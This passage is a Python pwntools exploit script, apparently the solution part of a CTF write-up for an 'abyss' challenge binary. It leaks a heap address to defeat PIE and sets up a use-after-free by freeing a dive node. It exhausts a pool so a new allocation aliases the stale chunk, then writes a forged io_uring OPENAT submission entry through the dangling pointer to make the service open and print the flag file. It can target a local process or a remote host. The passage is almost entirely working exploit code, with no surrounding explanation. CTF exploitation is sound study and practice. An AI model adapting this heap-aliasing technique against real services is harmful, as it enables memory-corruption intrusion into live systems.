def parse_diving(out: bytes):
    m = re.search(rb"DIVING id=(\d+) addr=0x([0-9a-fA-F]+)", out)
    if not m:
        return None, None
    return int(m.group(1)), int(m.group(2), 16)


def parse_beacon(out: bytes):
    m = re.search(rb"BEACON id=(\d+) addr=0x([0-9a-fA-F]+)", out)
    if not m:
        return None, None
    return int(m.group(1)), int(m.group(2), 16)


def build_openat_sqe(path_addr: int, path_bytes: bytes):
    """
    Build 64-byte SQE payload in levi->note.
    We intentionally set opcode=0x12 to hit benthic's special branch.
    """
    if len(path_bytes) > 15:
        raise ValueError("path too long for inline SQE storage (max 15 bytes)")

    sqe = bytearray(64)
    sqe[0] = 0x12
    sqe[4:8] = p32(0xFFFFFF9C)  # AT_FDCWD
    sqe[16:24] = p64(path_addr)  # const char *path
    sqe[24:28] = p32(0)          # O_RDONLY
    sqe[28:32] = p32(0)          # mode
    # Store path inline in SQE tail and point addr to it.
    sqe[0x30:0x30 + len(path_bytes)] = path_bytes
    return bytes(sqe)


def wait_flush_done(io, dive_id: int, rounds=100, delay=0.02):
    for _ in range(rounds):
        out = cmd(io, b"STATUS " + str(dive_id).encode())
        if b"tag=0xdeadbeef" in out:
            return True
        time.sleep(delay)
    return False


def do_chain(io, beacon_id=16, flush_wait=0.32, path=b"/flag.txt"):
    # 0) sync initial prompt
    recv_prompt(io)

    # 1) make dive node then free via FLUSH (UAF setup)
    out = cmd(io, b"DIVE 1")
    dive_id, dive_addr = parse_diving(out)
    if dive_id is None:
        raise RuntimeError(f"DIVE parse failed: {out!r}")
    log.info(f"dive id={dive_id}, addr={hex(dive_addr)}")

    # PIE base from leaked dive chunk address
    pie_base = dive_addr - DIVE_SLAB_OFF
    # Keep info log for debugging even if we don't use g_flagname pointer.
    flag_off = context.binary.symbols.get("g_flagname", G_FLAGNAME_OFF)
    g_flag_ptr = pie_base + flag_off
    log.info(f"pie={hex(pie_base)}, g_flagname={hex(g_flag_ptr)}")

    out = cmd(io, b"FLUSH")
    if b"FLUSHING" not in out:
        raise RuntimeError(f"FLUSH failed: {out!r}")
    time.sleep(flush_wait)  # mesopelagic flush is async
    if not wait_flush_done(io, dive_id):
        raise RuntimeError("flush did not complete (tag != deadbeef)")

    # 2) exhaust levi pool so BEACON must fallback to dive_free_head
    for i in range(16):
        out = cmd(io, f"BEACON {i}".encode())
        if b"ERR" in out:
            raise RuntimeError(f"BEACON {i} failed: {out!r}")

    # 3) fallback allocation from dive list (expect alias with stale dive pointer)
    out = cmd(io, f"BEACON {beacon_id}".encode())
    if b"ERR" in out:
        raise RuntimeError(f"BEACON {beacon_id} failed: {out!r}")
    b_id, b_addr = parse_beacon(out)
    if b_id is None:
        raise RuntimeError(f"BEACON parse failed: {out!r}")
    log.info(f"fallback beacon id={b_id}, addr={hex(b_addr)}")

    # Strong check: alias must hit same chunk for UAF write to control levi note.
    if b_addr != dive_addr:
        raise RuntimeError(
            f"alias mismatch: dive={hex(dive_addr)} beacon={hex(b_addr)}"
        )

    # 4) UAF write: stale g_dive_reg[dive_id] overwrites aliased levi->note as SQE
    path_ptr = b_addr + 0x8 + 0x30  # note base + inline path offset
    sqe = build_openat_sqe(path_ptr, path + b"\x00")
    out = cmd(io, b"WRITE " + str(dive_id).encode() + b" 64 " + sqe.hex().encode())
    if b"WRITTEN" not in out:
        raise RuntimeError(f"WRITE failed: {out!r}")

    # Optional: quick status print to ensure bytes are in object
    _ = cmd(io, b"STATUS " + str(dive_id).encode())

    # 5) trigger benthic execution
    out = cmd(io, f"ABYSS {beacon_id}".encode(), timeout=5)
    return out


def open_target(args):
    if args.remote:
        return remote(args.host, args.port)
    return process(
        ["./abyss"],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
    )


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--remote", action="store_true")
    ap.add_argument("--host")
    ap.add_argument("--port", type=int)
    ap.add_argument("--tries", type=int, default=10)
    ap.add_argument("--beacon-id", type=int, default=16)
    ap.add_argument("--path", default="flag.txt", help="path opened by crafted OPENAT SQE")
    args = ap.parse_args()

    if args.remote and (not args.host or not args.port):
        raise SystemExit("--remote requires --host and --port")

    for t in range(1, args.tries + 1):
        io = None
        try:
            io = open_target(args)
            log.info(f"try {t}")
            out = do_chain(io, beacon_id=args.beacon_id, path=args.path.encode())
            print(out.decode("latin1", errors="ignore"))

            if b"FLAG:" in out or b"apoorvctf{" in out:
                log.success(f"success on try {t}")
                try:
                    io.sendline(b"QUIT")
                except Exception:
                    pass
                io.close()
                return

            log.warning(f"try {t} no flag, raw={out!r}")
            try:
                io.sendline(b"QUIT")
            except Exception:
                pass
            io.close()

        except Exception as e:
            log.warning(f"try {t} failed: {e}")
            if io is not None:
                try:
                    io.close()
                except Exception:
                    pass

    log.failure("all tries exhausted")


if __name__ == "__main__":
    main()
This post is licensed under CC BY 4.0 by the author.